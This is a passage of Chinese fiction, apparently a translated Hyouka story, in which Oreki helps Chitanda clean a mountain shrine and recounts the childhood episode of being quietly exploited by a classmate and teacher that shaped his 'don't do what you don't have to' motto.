在这之后两人暂时因为照片的事情吵闹了一会儿,这期间我就在一旁慢慢地喝着茶。<br>
虽然被十文字邀请和她们坐在一起,但是怎么想都觉得来错了地方。<br>
不如说,坐在这里很难熬。虽然在口渴的时候喝到了茶很令人感激。</p>
<p>我想等对话告一段落的时候准备告辞,但是对话却一直持续着。<br>
就在我等待时机的时候,茶也喝完了。<br>
正当我想着必须得走了的时候,十文字突然看了一眼时间。<br>
“啊,已经是这个时候了。爱瑠,差不多了。”<br>
“是,我明白的。对了,采购已经结束了吗。”<br>
十文字的动作突然停了下来。<br>
“糟糕了,出门的时候碰到了折木,然后就…”<br>
虽然不是很明白,不过都怪我吗。</p>
<p>稍微皱了皱眉,十文字低下了头。<br>
“真是失败啊,抓紧点的话还来得及吗。”<br>
“怎么了?”<br>
对于我的疑问,千反田作了回答。<br>
“今天本来打算给佳穗同学看过照片后再帮她做一件事的。”<br>
然后十文字继续说道:<br>
“另外,我还被家里拜托要去买一点东西。因为很快就能买完,所以刚才本来打算出门的。<br>
因为碰到你所以吓了一跳就给忘记了。”<br>
原来那是吓了一跳的样子吗。脸上完全没有表现出来啊。<br>
千反田接着说:<br>
“这样的话,接下来让我来做就行了,佳穗同学就去采购吧。”<br>
“可以吗?”<br>
“没问题,之前也干过的说。”<br>
“帮大忙了。”<br>
十文字一边这么说着,一边双手合十朝着千反田拜了一拜。<br>
“南无。”<br>
“那是佛教用语吧。”<br>
我不由得脱口而出。<br>
十文字张开眼说道:<br>
“我是宗教平等主义者。…那么折木你打算怎么办呢。留守也可以哦。”<br>
“不,我这就告辞了。谢谢你的茶。”<br>
“这样吗?你不用客气的哦。”</p>
<p>就在我站起来的时候,突然觉得有些在意。<br>
“对了,你们本来打算做的是什么事啊?”<br>
似乎像在跳舞一样,千反田挥舞着两手说道:“是要做打扫。”<br>
看来刚才是打算做用扫帚扫地的动作。<br>
十文字补充道:<br>
“再往上走一点的地方有稻荷大人的祠堂。不过也不是一定要今天做啦。”<br>
“没关系的,我今天就是为此而来的。”<br>
也就是说原本要两个人完成的工作现在变成一个人要做完吗。<br>
…不问就好了。<br>
既然都问了,那也没有办法。<br>
只能这么说了。<br>
“我来帮你吧。”<br>
虽然千反田稍微客气了一番,但是最终没有拒绝。</p>
<h2 id="section-1">2</h2>
<p>稻荷的祠堂位于大殿侧旁小路的尽头。<br>
现在想来,神社境内确实插着“正一位”的旗帜。<br>
但是那条小路要是不走到近旁,一般人是无法找到的吧。<br>
“真难找啊。这样真的会有参拜客来吗。”<br>
“不知道呢…不过我想应该不是为了招揽客人才供奉在这里的吧。”</p>
<p>我在两肩上抗了两把扫帚。千反田则拿着水桶。<br>
水桶里面放着打湿的抹布和垃圾袋,还有手套。<br>
“走吧。”<br>
小路的路口就是坡道,一开始就有台阶。<br>
如果我走在前面的话,肩上的扫帚似乎会打到千反田。于是由千反田打头阵。<br>
向上爬了一会儿,回头看去,神社已经被树木遮盖,看不清了。<br>
不过还真是安静啊。</p>
<p>…正当我觉得十分安静的时候,我开始听到各种声音。<br>
树叶的沙沙声,鸟啼声,自己的脚步声,千反田的脚步声。<br>
本以为只是散个步,却变成一件神奇的事情了呢。</p>
<p>“折木同学,真是抱歉。变成这样奇妙的事。”<br>
自己正想到的事情就被这么说了出来,顿时心里一惊。<br>
“没事,反正今天也很闲。”<br>
两人暂时陷入了沉默。<br>
比起在下面看的时候台阶更加陡峭,我只顾着注意着自己脚下。<br>
正当我快要忘记刚才都说了些什么的时候,千反田说道:<br>
“真是很少见呢。”</p>
<p>体感来说似乎已经登上很高的地方了,但其实我们只走了不到5分钟。<br>
山体的一部分变得平坦,红色的鸟居和祠堂映入眼帘。<br>
祠堂前有石台,这样鲜有人迹的地方却散落着啤酒罐和烟蒂。<br>
我把一把扫帚递给千反田。<br>
“要怎么样打扫?”<br>
“祠堂的打扫会由神主大人自己来做,我们只要扫掉落叶就可以了。”<br>
“那抹布呢?”<br>
“狐仙雕像和鸟居上要是沾上鸟粪的话就擦掉,不过…”<br>
千反田绕着那一对狐仙像转了一圈,接着说道,<br>
“看样子没问题呢。把祭品台擦一下就好了。”<br>
“好,那开始吧。”<br>
千反田嘻嘻笑了一下,<br>
“首先要向稻荷大人打个招呼吧。”<br>
原来如此。我把扫帚靠在狐仙像旁,两人并排站在祠堂前。<br>
双手合十。南无。</p>
<p>我记得在哪里读到过,稻荷是保佑生意兴隆的神明,而最初则应该是丰收之神。<br>
也许是从里志那里听来的吧。<br>
不管怎么说,对我来说和这两样都没有什么关系。<br>
这样的话…<br>
扫除的事请容许我们简短地进行,请多包涵。</p>
<p>“…那么,开始吧。”<br>
千反田似乎打算先开始擦去灰尘。<br>
既然好不容易把扫帚抗上来了,我打算先从扫地开始。<br>
明明不是落叶的季节,这里却积下了一地的落叶。<br>
这看来会很费事呢。<br>
我一手拿着扫帚开始扫地,总之先从鸟居的内侧开始吧。<br>
刷、刷的声音不知道为什么听着很舒服。</p>
<p>回想起来,上午的时候我也在打扫卫生呢。<br>
因为难得的晴天才出门的我,为什么会在这里做这种事呢。<br>
刷刷刷,我继续扫地。</p>
<p>“…看上去心情很好呢,折木同学。”<br>
千反田这么一说,我才发现自己竟哼起了歌。<br>
这实在是太过丢人了。我感到体温正在上升。<br>
事到如今,再表现出动摇的样子也说不过去,我只好答道:<br>
“也不全是这么回事。”<br>
千反田用手捂住嘴巴,肩膀微微颤动了两三下。</p>
<p>擦完祭品台,千反田戴上手套开始拾捡地上的空罐。<br>
之后她也拿起扫帚开始扫地。<br>
虽然并没有事前商量,不知怎的分工就变成了祠堂的右侧由我打扫,左侧则交给千反田。<br>
我们两人都默默地打扫着。<br>
这下我尽量注意不要哼出歌来。<br>
扫地的声音时而同步,时而不同。</p>
<p>“我刚才稍微有点吃惊呢。”<br>
千反田突然说道。<br>
我低着头问道:“什么事?”<br>
“折木同学居然会来帮忙打扫。”<br>
“我的房间可是很干净的哦。”<br>
“是这样的吗。”<br>
我稍微考虑了一下,“除了考试之前或者有什么特殊情况的时候。”<br>
她一边笑着一边回答:“我也是,考试之前的话…就没什么自信了呢。”</p>
<p>一阵鸟啼声传来。<br>
“…折木同学不是总说,不用做的事就不想去做吗?<br>
所以我觉得有点意外呢。我还以为折木同学一定会马上回去的。”<br>
说的没错,这样的打扫也算不上是什么体力活,<br>
再说本来也就和我无关,只要说一声“那加油吧”然后回去就行了。<br>
按平常的话,我应该已经这么做了。<br>
我一边继续扫着,一边回答:<br>
“今天的状态不是很好呢。”<br>
“诶?有哪里痛吗?”<br>
“不是这样。怎么说呢,不是平时的状态。而是有些想要活动身体的感觉。<br>
如果不在这里帮忙的话,也许我正在跑步呢。能够这样做一些有贡献的事情也不错。”<br>
我瞄了千反田一眼,只见她的脑袋向右歪了一下,又向左歪了一下,然后说道:<br>
“那个,谢谢你了。”<br>
是谢我什么呢,我不是很明白。</p>
<p>就在扫地的过程中,身上开始渗出汗来。<br>
在森林里面的话连风也没有。<br>
因为连日的降雨,土壤都变得湿润了。<br>
虽然因此灰尘不会漫天飞扬,但是落叶也比想象中更难扫干净。<br>
于是不得不吭哧吭哧地用力扫,这样一来扫帚似乎很容易坏掉。</p>
<p>“折木同学。”<br>
“嗯?”<br>
“我能问你一件事吗?”<br>
“嗯。”</p>
<p>会是什么呢。<br>
如果是文化祭要用的文集的话,现在说也太早了吧。<br>
虽然话已经问出口了,但是千反田似乎还有点犹豫。过了许久也不问下去。<br>
因为只听到扫地的声音,所以我朝她那边看了一眼,却见她一直在扫同一个地方。<br>
正当我觉得心急想催促一下的时候,千反田终于开口了。<br>
“那个。不知道问这个会不会失礼。”<br>
“成绩的话我可不会回答的。肯定是你比较厉害。”<br>
“不是的,不是这个。”<br>
她暂停了一下,深吸一口气。<br>
“折木同学为什么会变得爱说这种话呢?”<br>
“那个吗?”<br>
“没错,就是那个。‘不用去做的事情就不去做,必须要做的事情就尽快完成’。”</p>
<p>啊啊。<br>
我停了下来。<br>
有规律的扫地声音停了下来。<br>
千反田对我这个举动似乎有什么误会,十分紧张地挥了挥手。<br>
“那个,不想说的话没关系的。不对,是变得不想说的话…诶?我有好好说吗?”<br>
我不由地苦笑了一下。<br>
“我明白你想说什么。”<br>
我吸了一口气。<br>
“我只是在想该怎么说才好。这并不是什么有趣的话题,再说也不是什么大不了的理由。<br>
简单来说,我只是怕麻烦而已。”<br>
“是这样的吗?”</p>
<p>我开始回忆。<br>
从树木之间能窥探到无云的晴空。<br>
居然想要回答这样的问题,今天的我果然很奇怪。<br>
“让我想想…”<br>
我一边这么说,一边再次拿起了扫帚。</p>
<h2 id="section-2">3</h2>
<p>并不是说这就是理由,这也不算什么能够谈论的事。<br>
不过,至少比我哼的歌要能让人听吧。</p>
<p>大概是小学六年级的时候。<br>
我所在的小学,班级里的每个人都会担任某个委员。<br>
你的小学应该也是这样的吧。<br>
那么也就不算什么稀有的事情吧。<br>
总之我也接受了某个委员的任务。首先是候选人,然后如果无法决定的话就投票。<br>
具体是怎样的流程我不记得了,总之我当上了XIAOHUAN委员。<br>
听上去就像以前电话局才有的那种工作吧。你不知道吗?<br>
以前有一种职业叫“交换手”什么的…(大概是电报员?“校环”和“交换”同音)<br>
嘛,你下次问里志就行了。<br>
XIAOHUAN委员其实就是校内环境委员的略称。<br>
我本来以为是负责打扫,结果那是美化委员还有其他什么委员负责的。<br>
简单来说就是为了每个人都有委员当而增加的一个闲职罢了。<br>
主要的工作…听了不要笑哦…是给花坛浇水。</p>
<p>不,也没有因此对花类变得很熟知啦。<br>
花的名字的话也只记得三色堇之类的。<br>
结果这个工作还意外地麻烦。本以为只要每天浇浇水就可以了。<br>
你的话应该明白的话,要根据土壤含水量,土壤干燥的时候才要浇水。<br>
(一个年级)一共有三个班级,担当者每周就会变更。<br>
也就是说,每隔两周之后的那一个礼拜就要每天去观察花坛的情况,有需要的话就要浇水。<br>
要学的东西还是很多的。<br>
比起每天要做什么,还是每天判断有没有做的必要这点比较麻烦呢。</p>
<p>每个委员不是只有一个人,而是两人一组的形式。<br>
我的搭档…名字就算了吧。<br>
就叫田中好了,诶?是女生哦。全都是男女搭档的。<br>
田中是一个在班里不起眼的女生。<br>
就连在班里没有什么存在感的我都这么觉得的话,应该是相当不起眼吧。<br>
不爱在人前说话,就算开口也只讲两三句。<br>
所谓的阴暗的感觉,大概就是指那样的吧。<br>
头发?似乎还是蛮长的。不过没有你那么长就是了…这点很重要吗?</p>
<p>总之,我和田中就成了给花坛浇水的委员。<br>
最开始的几周并没有什么不顺利的。<br>
轮到我们负责的时候,放学后我就会和田中去校舍后面的花坛观察土壤的状态。<br>
基本上都是我说“浇水吧”,田中会说“还不用”这样的模式。<br>
她总是说浇太多水反而不好。<br>
毕竟她平时都不会说出自己观点,虽然说地还是比较谨慎,<br>
但突然被那么坚决地反对,一开始我还是吓了一跳。<br>
虽然只是浇个水,但是万一让学校花坛里的花枯萎的话…<br>
这时候我稍微感觉到了一点责任感。</p>
<p>不过这样的对话也只有最开始的一星期。<br>
一旦确定了要浇水基准,那其实并不是需要两个人的体力活。<br>
当时我们是每天轮流的。本以为那样就能一切顺利的。<br>
然而…<br>
大概是过了多久呢,情况发生了变化。<br>
田中跑来找我商量。<br>
“因为家里要重建,所以暂时要住到远一点的地方。<br>
从车站坐市巴士要一个小时,因为巴士数量很少,没赶上的话会很麻烦,<br>
所以我想放学后早点回去。”<br>
她这么说。</p>
<p>虽然我并没有表示出不愿意,但是班主任还是出面了。是来说服我的。<br>
“田中也很不容易,你就理解她一下吧。你家里也近,稍微留晚一点也不碍事。”<br>
说的是没有错。小学离我家很近。<br>
倒是高中却一下子离得特别远了。这个暂且不提。<br>
当时的班主任是一个年轻男性,记得当上老师才是第三年,当时还是个热血教师。<br>
他似乎觉得班上有许多需要改善的地方,总是想在很多事上插手。<br>
“折木,在地板上贴好标记,这样比较容易知道放桌子的地方。”之类的。<br>
“折木,墙报用纸我想要扩大一点,你把这张纸切一下。”之类的。<br>
“折木,天花板上的荧光灯好像变暗了,你注意一下。”之类的。<br>
觉得意外吗?我想也是。<br>
那个班主任老师把事情派给我去做。<br>
现在想来,也许他觉得那也是教育的一环吧。<br>
总之,在我做完花坛的值日回到教室后,班主任经常会在那里等着安排我去做一些事。<br>
当然,如果被要求做什么的话我也只是回答一声“我知道了”,然后去完成就是了。<br>
实际上,在我升上六年级之前这是常有的事情。<br>
虽然对方并不总是同一个人。</p>
<p>班主任也说了要理解田中的难处,帮她做完花坛的值日。<br>
我回答说明白了。<br>
于是从下一次的值日周开始,就变成我一个人做值日了。<br>
田中最开始还会说声抱歉,久而久之也就习惯了这样。<br>
之后她就连招呼都不打就径自回去了。<br>
不过我并没有就此怨恨田中,毕竟她要走到车站还要坐一小时的巴士。</p>
<p>到此为止就是整件事的前提,你有什么不明白的地方吗?<br>
我还是不太习惯叙述呢。<br>
太好了,那我继续。</p>
<p>那是某一天发生的事情。<br>
午休的时候,我和田中一起去了花坛。<br>
因为班主任让我们去花坛的一角撒上一些种子。<br>
因为那是在暑假之前,所以大概是牵牛花什么的吧。<br>
不,我真的记不清了。<br>
班主任还让我们把写着花名的牌子插到花坛里。<br>
现在想来,那也是他的一时兴起吧。<br>
恐怕是因为当时教育环境改善运动的目标班级没有选中自己班吧。<br>
名牌有很多,就算两个人拿也已经很勉强。<br>
再加上还要拿着花的种子,所以有些吃力。于是我就把种子放到了口袋里。<br>
因为是用纸包好的,所以不用担心种子会散落在口袋里。<br>
而田中则是双手拿着名牌,还勉强把种子的包装夹在手指之间。</p>
<p>“放到口袋里去吧。”<br>
因为自己就是这么做的,所以我当然就这么说了。<br>
但是田中却摇了摇头。<br>
“我没有口袋啊。”<br>
看来是这样的。然后,我那时还一时以为女生的衣服都是没有口袋的。<br>
因为当时也没什么机会盯着别人的衣服看。</p>
<p>我们并没有怎么说话。<br>
虽然都是同样的委员,但是田中已经有一段时间没有值日了,所以也没有什么话题。<br>
首先我们先播好种,然后打算看名牌的时候却发现无计可施。<br>
我和田中都不记得花的名字了。<br>
谁都没有告诉我们,就以这个为借口好了。<br>
于是我们没办法把名牌顺利插进花坛,就算是这样午休时间也一下子就结束了。</p>
<p>到了放学后。<br>
那个星期是轮到我们班值日。<br>
只是午休时候种下花种的时候已经确认过不用浇水了。<br>
本可以早早的回家,不知道为什么我却慢悠悠地留在教室和朋友谈话。<br>
这时候田中来了,一脸快哭出来的样子。<br>
“书包不见了。”</p>
<p>那可是书包哦。那么大的一件东西,怎么会不见呢。<br>
虽然心里是这么想的,但是毕竟不能就这么说出来。<br>
我们大致在教室里寻找了一下,确认没有之后就决定找班主任商量。<br>
因为已经是小六了,所以也有些早熟的家伙。<br>
讨厌找老师商量的同学也不是没有,但是田中确马上就决定这么做了。<br>
我们三个人把能想到的地方都找了一遍。<br>
三个人?<br>
就是我和田中还有班主任。<br>
啊,那个聊天的朋友吗。去哪里了呢那时候。<br>
我不记得有和我们在一起,大概立刻就逃走了吧。</p>
<p>班主任当时可是拼了命在找呢。<br>
那个时候还没有发现,现在想来恐怕是有些怀疑了吧。<br>
怀疑什么?你应该知道的吧。不知道?<br>
好吧,是班级欺凌啦。<br>
班主任恐怕是在怀疑田中是不是被人欺负了才会被人藏起书包的。<br>
我也有我自己的想法,所以也是拼命帮忙了。</p>
<p>别摆出那样的表情啦。<br>
从结果来说,田中的书包不是被人藏起来的。<br>
在平台…那种平台你知道吗?<br>
该说是多功能空间好呢还是空地好呢,就是这种地方吧。<br>
田中之前把书包丢在那里然后跑开去玩了。<br>
然后路过的一、二年级的学生因为好心,把她的书包当做失物送到了办公室。<br>
其实就是这么回事。<br>
不过,接下书包的年级主任因为有事临时离开了一下,<br>
所以当时就变得没有人知道书包被当成失物了。<br>
所以这只是一个不幸的误会而已。<br>
说实话,我当时松了一口气。<br>
虽然我和田中仅仅只是一起值日,但要是真找不到了可就麻烦了。</p>
<p>过了一会儿,年级主任回来了。<br>
“有人把失物交上来了哦。”<br>
看到书包的时候,我真是高兴极了。<br>
当然,年级主任也没有忘记说教一番。<br>
居然把重要的东西就这么丢在一边真是太乱来了。什么的。<br>
我自己也经常把书包丢在一边跑开去玩,<br>
所以不如觉得这应该是把这个当做失物的低年级学生的问题。<br>
但是,我没有说出来。</p>
<p>就在年级主任说教的时候,田中一直显得有些手足无措。<br>
我明白她的心情。<br>
仔细想想,虽然书包是找到了但不能确定里面的东西都还在。<br>
她应该是想赶快确认一下吧。<br>
这时候,班主任也注意到了这点。<br>
他看准时机,对年级主任说道:<br>
“正如老师你所说的。总之,先确认一下里面的东西吧。”<br>
结果书包的田中,完全丢掉了平时老实的样子立刻打开了书包。<br>
她扭开书包的提钮,从里面拿出了笔盒。<br>
那似乎是个很小的笔盒,花纹也很普通。<br>
然后,她找到了放在里面的活动铅笔。<br>
“太好了…”<br>
她叹了一口气。</p>
<p>我稍微瞄了一眼,似乎是画着某个角色的自动铅笔。<br>
那到底是什么角色呢。<br>
之后我问她,她说是杂志抽奖抽中的奖品。<br>
虽然并不是什么贵重的东西,不过对本人来说应该是宝贝吧。<br>
当时的田中真的是十分高兴的样子。<br>
然后,我问她:<br>
“里面没问题吗?”<br>
田中紧紧握着铅笔答道:<br>
“只要这个还在的话,就行了。另外的回家以后再检查。”<br>
“真的没问题吗?”<br>
“没问题,谢谢。”<br>
她这么说。</p>
<p>把活动铅笔带到学校,这件事本身自然是没有任何问题。<br>
禁止携带带有角色图案的活动铅笔这种事,在那以前也是从未有过。<br>
但是对田中来说实在是太不走运了,年级主任似乎是盯上了那个铅笔。<br>
“这种要是弄丢了就麻烦的东西怎么可以带到学校来呢!”<br>
年级主任生气地说道。<br>
但是好好想一想,课本也算是不能弄丢的东西吧。<br>
按这样的说法,以后只能带就算丢了也没事的东西来学校了吗。<br>
这还真是自我矛盾呢。</p>
<p>之后学校正式发出了禁止携带角色周边产品的告示。<br>
这还真是晴天霹雳。<br>
笔记本、橡皮、垫板,在这之前有数不清的角色周边文具被带到学校来。<br>
难道这些都要全部再买过吗之类的,产生了好多问题。<br>
不过知道这件事的起因是田中的学生,大概是有田中自己和我了吧。<br>
就是这么回事。</p>
<p>这件事之后,我也算是受到了刺激。<br>
会开始说“不用做的事就不做”,我想大概就是因为这件事吧。</p>
<h2 id="section-3">4</h2>
<p>“……诶?”<br>
千反田停了下来。<br>
好厉害,真的完全不惊讶呢。</p>
<p>大概是把我说的内容在脑内再生吧,她暂时僵住了一会儿。<br>
我一边想着她会不会就那样倒下去,一边继续扫着地。<br>
就在我叙述的这段时间,扫除也进行地差不多了。<br>
之后只要把收集起来的落叶扫到簸箕里,再装进垃圾袋就结束了。<br>
再稍微想一想,似乎突然觉得麻烦起来。</p>
<p>簸箕放在千反田拿来的水桶里,当我正打算去拿的时候千反田突然开口了。<br>
“诶?”<br>
“这时候不应该说‘诶?’的吧。”<br>
“我刚在,一直听到最后了对吧。”<br>
“大概吧。”<br>
“怎么觉得最后,有点奇怪呢?”<br>
那或许是有那么点奇怪吧。<br>
“折木同学帮田中同学一起找了书包对吧?然后找到了书包和里面重要的活动铅笔。<br>
然后折木同学的小学就禁止了携带角色周边产品对吧?“<br>
一点没错。<br>
我拿起簸箕,然后…<br>
pon,我听到了击掌的声音。<br>
“啊,我明白了。”<br>
“哦?”<br>
“折木同学自己也有很多周边产品呢。因为那个被禁止了所以受到了刺激…<br>
不过,为什么那个会变成‘不用做的事就不做’呢?”<br>
千反田左右歪了歪头,仿佛为了得出结论似的挥动着扫帚。然后她战战兢兢地开口问道:<br>
“难道说…因为帮助了田中同学所以周边产品才会被禁止。<br>
所以觉得要是一开始不帮忙就好了,是这样吗?”<br>
哦哦,努力去做了结果却自讨苦吃所以决定再也不做多余的事吗。<br>
这样的解释不是很有道理嘛。<br>
但是,<br>
“不对。”<br>
“但是…”<br>
“快点扫地吧。”<br>
“好、好的。”<br>
千反田自己负责的部分也差不多已经扫完了。<br>
她的脚边形成了一个落叶的小山包。<br>
先让我用一下簸箕吧。我一边收集落叶一边说道:<br>
“你不是一直从结论开始说话的吗。我偶尔这样说一次也可以吧。”<br>
“啊,真是过分。折木同学,你果然中途省略了什么吧?”<br>
“省略!”<br>
这个单词的回响真是美妙啊。</p>
<p>我今天的状态确实有些不好。<br>
明明说清楚就好了,却不知怎的突然想试试那样的说话方式。<br>
看着正在伤脑筋的千反田,我突然再次觉得偶尔这样也不错。<br>
真是很不错的消遣,多亏了这个扫除的时间似乎也不那么漫长了。<br>
“那个…”<br>
千反田把手指放在唇边陷入了沉思。<br>
我觉得一味的沉默也太过意不去了,于是说了一句,<br>
“禁止携带周边产品的事情只是后日谈之类的话,并没有多大的关系。”<br>
她那双大大的双眼,从下往上看向了我。<br>
“…难道说,你是在捉弄我吗?”<br>
“大概就是这种感觉吧。”<br>
“折、折木同学!”</p>
<p>我把收集起来的落叶扔进垃圾袋里。<br>
扫完那么大面积的落叶,放到袋子里的落叶的体积却是小的可怜。<br>
我突然有一种似乎是在收集尘埃的感觉。</p>
<p>“别生气。小学时的我可是马上就觉得‘这很奇怪’了。<br>
应该不是那么棘手的事情。”<br>
“就算你那么说…”<br>
她垂下了头。<br>
“折木同学和我可不一样。我真的完全没有应用能力呢。到底是为什么呢。”<br>
看来她自己也发现了呢…<br>
并不是我想恶作剧。大概是我的叙述方式不是很好吧。<br>
“最初是我和田中轮流看管花坛这点,我刚才说过了吧。”<br>
“对。”<br>
千反田似乎是要探出身子一样,点了点头。<br>
她的表情十分认真。<br>
我突然觉得自己像是做了坏事一样。<br>
“中途开始,田中在放学后不能留下了。所以轮到我们班的星期就只有我负责照看花坛。”<br>
“没错。”<br>
然后,千反田似乎是想要表明她一直有听我说话,特意接着说道:<br>
“因为家里要重建,所以暂时住到远一点的地方去了。要花一个小时什么的。”<br>
“就是这里。”<br>
千反田的记忆力很好,刚才只是没有说出来,并不是她忘记了。<br>
“我想我应该说了是从哪里要怎样花一个小时。”<br>
“对。从这站坐市巴士要花一个小时。”<br>
“巴士要怎么样乘呢?”<br>
于是,千反田好像终于察觉到了。<br>
她一副豁然开朗的表情,用双手捂住了嘴巴。…同时,用腋下支持着扫把,真是厉害。<br>
“我知道了,田中同学,是这样的呢,她回不了家了。<br>
因为那一天,田中同学的衣服没有口袋。”<br>
“是这样的呢。”<br>
“乘坐巴士需要钱、月票什么的,需要这些东西。(重点符号)<br>
如果没有待在身边的话应该就是放在书包里。”<br>
我用力点了点头。<br>
“没错。再说,赶不上巴士就糟糕了所以才把值日的工作都交给我的田中,<br>
为什么会在放学之后因为跑去玩儿弄丢书包呢。关于这件事,我当时也很不解。<br>
不过我当时还是以为她只是在赶得上巴士的情况下才去玩的。<br>
所以当时我也是很着急地帮她寻找了。然而,找到书包的田中唯一在意的确只有活动铅笔。<br>
就算我问了她好几遍有没有别的在意的东西,她似乎也没有想起来。”<br>
“这究竟是怎么回事呢?”<br>
都说到了这个份上,千反田却又被绊住了。<br>
不,也不该怪她,毕竟我当时也是不愿相信的。<br>
“田中根本就不用去赶巴士,我只能这么想。”</p>
<p>“怎么会…”<br>
哑口无言的千反田瞪大了双眼。<br>
“我想她并不是一开始就不用坐巴士。<br>
至少,在拜托我之后的那礼拜,或是下一个值日周为止她或许是乘巴士来上学的。<br>
但是,在那一天她应该不用乘巴士回去。<br>
比起回家的方法,她更在意的是角色周边。那是因为那时候田中步行就能回家了。”<br>
“重建已经结束了呢,但是她却没有告诉折木同学…”<br>
“就是这么一回事。”<br>
我叹了口气。<br>
“把值日的工作都推给我,自己却偷懒了。”</p>
<p>千反田一边把落叶扫进簸箕一边说道:<br>
“还有那样的事啊。所以折木同学厌倦了谎言,才会说‘不用做的事就不做’。”<br>
……并不是那样。<br>
看来果然是我的叙述方式不对。因为原因并不是那样的。<br>
接下来要说的,并不是什么愉快的事情。<br>
我自己也知道,那并不是对谁都能够说的事情。<br>
但是既然已经对千反田说到这个份上,却在最后的部分被误解的话,我还能沉默吗。<br>
那样的话,我说的就会变成谎言。<br>
就算是不愉快的事情,我也希望她能听下去。</p>
<p>“不对。”我开口说道。<br>
“那一天,我注意到田中没有确认自己的贵重物品了。<br>
然后,我下意识地朝班主任看去。<br>
班主任曾经说过,田中家因为要重建所以让我帮她。<br>
如果班主任了解田中的情况的话,那时也应该察觉到有什么奇怪的吧。<br>
如果察觉到的话,应该就会斥责田中的吧。<br>
…但是,班主任并没有斥责田中。”<br>
千反田满脸的惊讶。<br>
“是没有注意到奇怪的地方吗?”<br>
如果是这样的话,那还算好。<br>
“不是,他露出了很慌张的表情呢,写着‘糟糕了’的表情。<br>
然后我立刻就知道了,这个人早就知道田中家的重建已经结束了。”<br>
“……”<br>
“那么又是为什么没有告诉我呢。为什么不让我们变回原来那样的交替值日呢。<br>
也许是我的被害妄想也不一定,也许只是他忘记说了。<br>
但是那一天,看见他那样的表情我是这么想的。<br>
…因为把任何事情交待给他也不会有一句抱怨,是个十分便利的孩子,<br>
所以就算看到所有工作都推给他也不打算出手帮忙呢。”</p>
<p>我把扫帚像拐杖一样支撑着,继续说道。<br>
“当时的我,还这么想。本来,田中家的重建和我到底有什么关系呢。<br>
我是犯了什么过失才背上了要替她完成值日的义务吗。不是这样的。<br>
田中的内情是田中的内情,与我没有任何关系。<br>
虽然这么说,但是毕竟是同班同学,稍微互帮互助一下不好吗?<br>
放学之后照料一下花坛什么的反正也用不了多少时间。<br>
家离学校近也是事实,稍微帮别人一把难道不好吗?<br>
……我发现之前我就是被这种想法所支配了。”</p>
<p>田中的事情只能算是一个契机。<br>
经过那件事,我明白了,在一个班级里既有聪明地把麻烦事都推给别人的人,<br>
也有心甘情愿的接下所有事情的人。<br>
然后我发现,在六年级的时候,不对,从我懂事以来,我就是后者。<br>
一旦发现了这点,我就会陆陆续续想起,<br>
那个时候也是,那个时候也是这样,说起来那时候也是呢。</p>
<p>林间学校的时候,被要求带沉沉的1升装色拉调料的是谁?<br>
流感肆虐的时候,就在停课之前被派到各家去分发资料的学生除了我还有谁吗?<br>
在男生全体一起玩kickbase的时候打破了窗户,<br>
我被班主任要求作为代表去向校长道歉是因为我是领队吗?<br>
不对。只是因为我是个不会抱怨的孩子罢了。</p>
<p>这是这些事情的话,其实也没什么大不了。<br>
每件事也并不费事。<br>
我也并不觉得做了这些事吃亏了,或是只有别人在玩乐享受。<br>
只是悲伤的觉得,自己是在被人方便地使用呢。</p>
<p>我想起来了。<br>
那个时候,我因为自己的这些发现而十分悲伤,<br>
沉默令我难受,于是我向老姐全部倾诉了。</p>
<p>——因为要互相帮助所以我才帮助了别人,但是对方却并不会想着相互帮助。<br>
我并不是希望别人来感谢我。只是不希望别人觉得我是个笨蛋。<br>
放学之后,我不会再留在学校了。<br>
要是留下的话,一定会被拜托去做什么。<br>
这一定是因为别人认为我是不管被拜托什么都会乖乖去做的笨蛋吧。<br>
就算是笨蛋也没关系,但是只有被人利用这点是我所讨厌的。<br>
当然,如果是对方实在没办法的时候我也会去干的。也不会抱怨。<br>
如果不是这样的话,如果其实是别人必须做的事并不是我必须做的事的话,<br>
我是不会再去做的。<br>
绝对。</p>
<p>老姐默默地听我诉说了一通,然后用手摸着我的脑袋说道。<br>
——是吗。<br>
你明明是个笨拙的家伙,却想要变灵巧呢。<br>
你明明是个笨蛋,却在奇怪的地方很聪明。<br>
没关系,我不会阻止你的。<br>
这样不是挺好吗。<br>
我认为你所说的都没错。</p>
<p>然后,是什么来着。老姐似乎还说了些什么。对了,应该是这样。<br>
——你接下来将会进入悠长的休假时间。<br>
这么做就行了。休息吧。<br>
没关系的,只要你在休息的时候,你的内心深处不会改变的话…</p>
<p>“……同学”<br>
我似乎很少有的陷入到了以往的记忆中去了,甚至都没有注意到千反田在叫我。<br>
“啊,抱歉。怎么了?”<br>
千反田就站在我面前,用那双大大的眼睛,直直地盯着我。<br>
“折木同学,你很悲伤呢。”<br>
我一边转向旁边一边笑了。<br>
“不是什么大不了的。只是小孩子闹别扭,闹着闹着就下不了台了而已。”<br>
已经养成的习性,现在是再难以改变自己的模式了。<br>
不去做也行的事情就不去做。</p>
<p>余光看到千反田双手握着扫帚。<br>
她那紧盯着我的视线丝毫没有改变,然后说出了十分偏离主题的话:<br>
“但是折木同学…我是这么觉得的。<br>
……你口中所说的折木同学和现在的折木同学,其实并没有太大的区别不是吗。”<br>
我很想笑出声来。<br>
但是,我没能做到。</p>
<p>千反田后退了一步。<br>
她蹲了下去,开始把落叶装进垃圾袋。<br>
“谢谢你。多亏了你,这里变得那么干净了。”<br>
“啊。”<br>
“佳穗同学一定会准备好茶和点心的。要不要去休息一下?”<br>
我苦笑着挥了挥手。<br>
坐在女孩子中间什么的,还是饶了我吧。<br>
“不用了。把扫帚给我吧,我放回去。”<br>
我接过扫帚,把它们抗在肩上。<br>
我留意着不会打到千反田,一边回过身对她说道:<br>
“和十文字同学也说一声。我就先走了。”</p>
<p>我沿着布满了树影的阶梯向下走去。树叶被风吹动的声音传入耳中。<br>
久违的晴天看来还会持续一段时间。<br>
现在回家的话,洗好的衣服应该都已经干了吧。<br>
走到一半,传来了千反田的声音。<br>
“折木同学!谢谢你对我说这些,我很开心!”<br>
背着沉重的扫帚再转过身实在是太辛苦了,所以我装作没听到的样子。<br>
不去做也行的事,就不去做。<br>
虽然是状态奇怪的一天,但是现在总算是变回原来的样子了不是么。<br>
我搔了搔脑袋。</p>
<p>然后,我突然想起了。<br>
那时候的老姐,一边也是搔着我的脑袋一边说道<br>
——一定会有谁出现,让你的假日结束的。</p>
87fc38a0-12bf-5fc7-9416-666bf99a1eb9三年2018-10-08T01:11:11+08:00<p>为什么人不能知道未来的自己在做什么,甚至也经常不知道以前的自己想过什么。</p>
